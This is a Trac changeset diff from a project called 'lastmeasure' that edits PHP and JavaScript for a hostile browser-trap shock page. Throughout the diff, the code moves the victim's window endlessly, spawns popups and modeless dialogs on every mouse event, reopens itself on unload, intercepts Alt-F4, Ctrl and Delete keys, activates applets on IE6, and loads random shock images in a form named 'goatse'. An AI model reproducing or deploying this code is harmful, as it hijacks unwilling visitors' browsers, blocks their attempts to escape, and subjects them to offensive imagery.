Changeset 82
- Timestamp:
- 11/23/05 17:38:11 (8 years ago)
- Location:
- trollforge/lastmeasure
- Files:
-
- 2 edited
-
include/js.inc (modified) (2 diffs)
-
index.php (modified) (7 diffs)
Legend:
- Unmodified
- Added
- Removed
-
trollforge/lastmeasure/include/js.inc
r67 r82 42 42 } 43 43 44 function newXlt(){45 xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;46 window.focus()}47 48 function newXrt(){49 xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;50 }51 52 function newYup(){53 yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;54 }55 56 function newYdn(){57 yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;58 }59 function fOff(){60 flagrun = 0;61 }62 63 44 function popUp(URL) { 64 45 day = new Date(); … … 67 48 } 68 49 69 function playBall(){70 xPos += xOff;71 yPos += yOff;72 if (xPos > screen.width-175){73 newXlt();74 }75 if (xPos < 0){76 newXrt();77 }78 if (yPos > screen.height-100){79 newYup();80 }81 if (yPos < 0){82 newYdn();83 }84 window.moveTo(xPos,yPos);85 setTimeout('playBall()',1);86 }87 -
trollforge/lastmeasure/index.php
r81 r82 50 50 51 51 window.resizeTo(<?php echo "$w, $h";?>); 52 var centerX = (s creen.width - window.width) / 2;53 var centerY = (s creen.height - window.height) / 2;52 var centerX = (self.screen.width - document.body.clientWidth) / 2; 53 var centerY = (self.screen.height - document.body.clientHeight) / 2; 54 54 movew0w(); 55 55 … … 57 57 var j; 58 58 for (j = 0; j < 5; j++) { 59 var factorX = 1.0 + Math.sin((20*Math.sin(currStep/20))+j*70) 60 * (Math.sin(10+currStep/(10+j))+0.2) 61 * Math.cos((currStep + j*25)/10); 62 var factorY = 1.0 + Math.cos((20*Math.sin(currStep/(20+j)))+j*70) 63 * (Math.sin(10+currStep/10)+0.2) 64 * Math.cos((currStep + j*25)/10); 65 self.moveTo(centerX * factorX, centerY * factorY); 59 var s = Math.sin(currStep / 10) - 1.0; 60 var c = Math.cos(currStep / 10) - 1.0; 61 var factorX = 1.0 + s*s*s; /* -1 : 1 */ 62 var factorY = 1.0 + c*c*c; /* -1 : 1 */ 63 64 factorX += Math.sin((20*Math.sin(currStep/20))+j*70) 65 * (Math.sin(10+currStep/(10+j))+0.2) 66 * Math.cos((currStep + j*25)/10); 67 factorY += Math.cos((20*Math.sin(currStep/(20+j)))+j*70) 68 * (Math.sin(10+currStep/10)+0.2) 69 * Math.cos((currStep + j*25)/10); 70 self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY)); 66 71 } 67 72 currStep += step; … … 161 166 ?> 162 167 <body background="<?php random_image();?>" bgcolor="#ffffff" 163 onMouseMove="playBall();" onLoad="playBall();"164 168 <?php if($br_ie6) { ?>onLoad="setTimeout('main()',100)" <?php } ?> 165 169 leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> 170 <?php move_around(500, 400);?> 166 171 <?php if($br_ie6) { 167 172 activate_applets(); … … 197 202 src="<?php random_image();?>" height="300" width="300" 198 203 onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1'); 199 return true; }document.goatse.reset(); playBall();204 return true; }document.goatse.reset();movew0w(); 200 205 return true;" 201 206 onClick="if(is_ie) {showModelessDialog('index.php?procreate=1'); 202 return true; } playBall();return true;"207 return true; } movew0w();return true;" 203 208 onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1'); 204 209 return true; } else{procreate();} 205 playBall();return true;">210 movew0w();return true;"> 206 211 <img src="<?php random_image();?>" 207 212 onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1'); 208 return true; } procreate(); playBall();return true;"213 return true; } procreate();movew0w();return true;" 209 214 onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1'); 210 215 return true; }"> … … 236 241 ?> 237 242 <body bgColor="#ffffff" 238 onLoad="document.goatse.reset(); playBall();return true;bookmark();"243 onLoad="document.goatse.reset();movew0w();return true;bookmark();" 239 244 onKeyDown="altf4key();ctrlkey();delkey();" 240 onMouseOver="procreate();playBall();"> 245 onMouseOver="procreate();movew0w();"> 246 <?php move_around(500, 400);?> 241 247 <h1>PROCREATING LAST MEASURE!!!</h1> 242 248 <h1>GNAA > j00</h1> … … 254 260 ?> 255 261 <body background="<?php random_image();?>" bgColor="#ffffff" 256 onLoad="document.goatse.reset(); playBall();return true;bookmark();"262 onLoad="document.goatse.reset();movew0w();return true;bookmark();" 257 263 <?php if($br_ie6) { ?>onLoad="setTimeout('main()',100)" 258 264 <?php } else { ?>onUnload="window.open('index.php?popup=1', '<?php random_image();?>', 'fullscreen=0')" 259 265 <?php } ?> 260 266 onKeyDown="altf4key();ctrlkey();delkey();" 261 onMouseOver="procreate(); playBall();">267 onMouseOver="procreate();movew0w();"> 262 268 <?php move_around(500, 400);?> 263 269 <?php if($br_ie6) { … … 280 286 <form name="goatse" action="#" ONreset="procreate();return true;"> 281 287 <img src="<?php random_image();?>" 282 onMouseOver="procreate(); playBall();return true;" />288 onMouseOver="procreate();movew0w();return true;" /> 283 289 </form> 284 290 </body>
Note: See TracChangeset
for help on using the changeset viewer.
